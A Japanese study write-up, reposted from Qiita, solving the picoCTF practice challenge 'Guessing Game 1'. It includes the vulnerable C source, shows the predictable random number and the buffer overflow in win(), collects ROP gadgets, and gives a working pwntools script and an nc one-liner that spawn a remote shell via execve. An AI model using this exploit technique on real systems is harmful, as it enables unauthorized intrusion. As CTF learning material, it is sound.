picoGym Practice Challenges Guessing Game 1 を勉強した記録
picoGym Practice Challenges Guessing Game 1
I made a simple game to show off my programming skills. See if you can beat it!
vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 50581
all:
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
rm vuln
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
脆弱性は?
ソースから
do_stuff関数内でgameに勝つと win関数に進める
win関数内の fgets にバッファオーバーフローがある
main関数
=> 0x0000000000400ce9 <+93>: call 0x400b9a <do_stuff>
0x0000000000400cee <+98>: mov DWORD PTR [rbp-0x8],eax
0x0000000000400cf1 <+101>: cmp DWORD PTR [rbp-0x8],0x0
0x0000000000400cf5 <+105>: je 0x400ce4 <main+88>
0x0000000000400cf7 <+107>: mov eax,0x0
0x0000000000400cfc <+112>: call 0x400c40 <win>
0x0000000000400d01 <+117>: jmp 0x400ce4 <main+88>
"A"の数
"A" * 8 * 15
gameに勝つ部分
get_randomに癖はあるか?
回数 | 値 |
---|---|
1回目 | RAX: 0x53 ('S') |
2回目 | RAX: 0x56 ('V') |
3回目 | RAX: 0x4d ('M') |
ここで r (run)
回数 | 値 |
---|---|
1回目 | RAX: 0x53 ('S') |
2回目 | RAX: 0x56 ('V') |
3回目 | RAX: 0x4d ('M') |
毎回同じだ
1回目に必ず 83 を出してくるので 84 で勝つ
shellを奪う部分
情報収集と方針の決定
objdump -d -M intel ./game1
/ syscall
40137c: 0f 05 syscall
objdump -d -M intel ./game1
/ syscall
40137c: 0f 05 syscall
syscall があるので execve("/bin/sh",NULL,NULL) を狙う。
"/bin/sh"は無いので自分でどこかに書き込む
どこに書き込むか?
objdump -h ./game1 | less
20 .data 00001bb0 00000000006ba0e0 00000000006ba0e0 000ba0e0 2**5
CONTENTS, ALLOC, LOAD, DATA
25 .bss 000016f8 00000000006bc3a0 00000000006bc3a0 000bc398 2**5
ALLOC
どっちかでいける?
とりあえず経験がある .bss 0x6bc3a0 に "/bin/sh\x00" を書く方針で
.bss に "/bin/sh\x00" を書く
スタック設計図
+---------------------------------+
| pop rax; ret |
+---------------------------------+
| "/bin/sh\x00" |
+---------------------------------+
| pop rsi; ret |
+---------------------------------+
| .bss |
+---------------------------------+
| mov qword ptr [rsi], rax ; ret |
+---------------------------------+
execve("/bin/sh",NULL,NULL)
syscallに飛ばす直前のレジスタ
レジスタ | 値 |
---|---|
RDI | "/bin/sh"のアドレス |
RSI | 0x0 |
RDX | 0x0 |
RAX | 0x3b (59 execve) |
の状態でretでsyscallに飛ばす
スタック設計図
+--------------------+
| pop rdi; ret |
+--------------------+
| .bss ("/bin/sh") |
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0 |
+--------------------+
| pop rax; ret |
+--------------------+
| 0x3b |
+--------------------+
| syscall; ret |
+--------------------+
ROP 部品集め
pop_rax ; ret
58 c3
4163f3: e8 58 c3 ff ff call 412750 <_IO_wdo_write>
pop_rax = 0x4163f4
pop rsi ; ret
5e c3
418d4f: 41 5e pop r14
418d51: c3 ret
pop_rsi = 0x418d50
mov qword ptr [rsi], rax ; ret
/QWORD PTR \[rsi\],rax
47ff91: 48 89 06 mov QWORD PTR [rsi],rax
47ff94: c3 ret
mov_rsi_rax = 47ff91
別解
$ python
>>> from pwn import *
>>> context.arch = "amd64"
>>> asm("mov qword ptr [rsi],rax ; ret")
'H\x89\x06\xc3'
>>> binary = elf.load("game1")
>>> hex(next(binary.search('H\x89\x06\xc3')))
'0x47ff91'
pop rax; ret
58 c3
4163f3: e8 58 c3 ff ff call 412750 <_IO_wdo_write>
pop_rax = 0x4163f4
pop rdi; ret
5f c3
400695: 41 5f pop r15
400697: c3 ret
pop_rdi = 0x400696
pop rdx; ret
5a c3
44cc25: 41 5a pop r10
44cc27: c3
pop_rdx = 0x44cc26
実装
# coding: UTF-8
from pwn import *
import pwn
io = pwn.remote("jupiter.challenges.picoctf.org", 50581)
#io = pwn.process("./game1")
# gameに勝つ部分
ret = io.readuntil("What number would you like to guess?\n")
print(ret)
io.sendline("84")
ret = io.readuntil("Name? ")
print(ret)
# ROP部品
pop_rax = 0x4163f4
pop_rsi = 0x418d50
mov_rsi_rax = 0x47ff91
pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rdx = 0x44cc26
addr_bss = 0x6bc3a0
addr_syscall = 0x40137c
# "bin/sh"
s = b"A" * 8 * 15
s += pwn.p64(pop_rax)
s += b"/bin/sh\x00"
s += pwn.p64(pop_rsi)
s += pwn.p64(addr_bss)
s += pwn.p64(mov_rsi_rax)
# execve("/bin/sh",NULL,NULL)
s += pwn.p64(pop_rdi)
s += pwn.p64(addr_bss)
s += pwn.p64(pop_rsi)
s += pwn.p64(0x0)
s += pwn.p64(pop_rdx)
s += pwn.p64(0x0)
s += pwn.p64(pop_rax)
s += pwn.p64(0x3b)
s += pwn.p64(addr_syscall)
print(s)
#io.send(s)
io.sendline(s)
io.interactive()
攻撃コード(別解)
( python -c 'print(84)' ; python -c 'print("a"*120+"\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")' ; cat ) | nc jupiter.challenges.picoctf.org 50581
( python -c 'print(84)' ; python -c 'print("a"*120+"\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00\xa0\xc3k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")' ; cat ) | nc jupiter.challenges.picoctf.org 50581
参考にしたwriteup
Author And Source
この問題について(picoGym Practice Challenges Guessing Game 1 を勉強した記録), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/29747834ead6760c412c著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .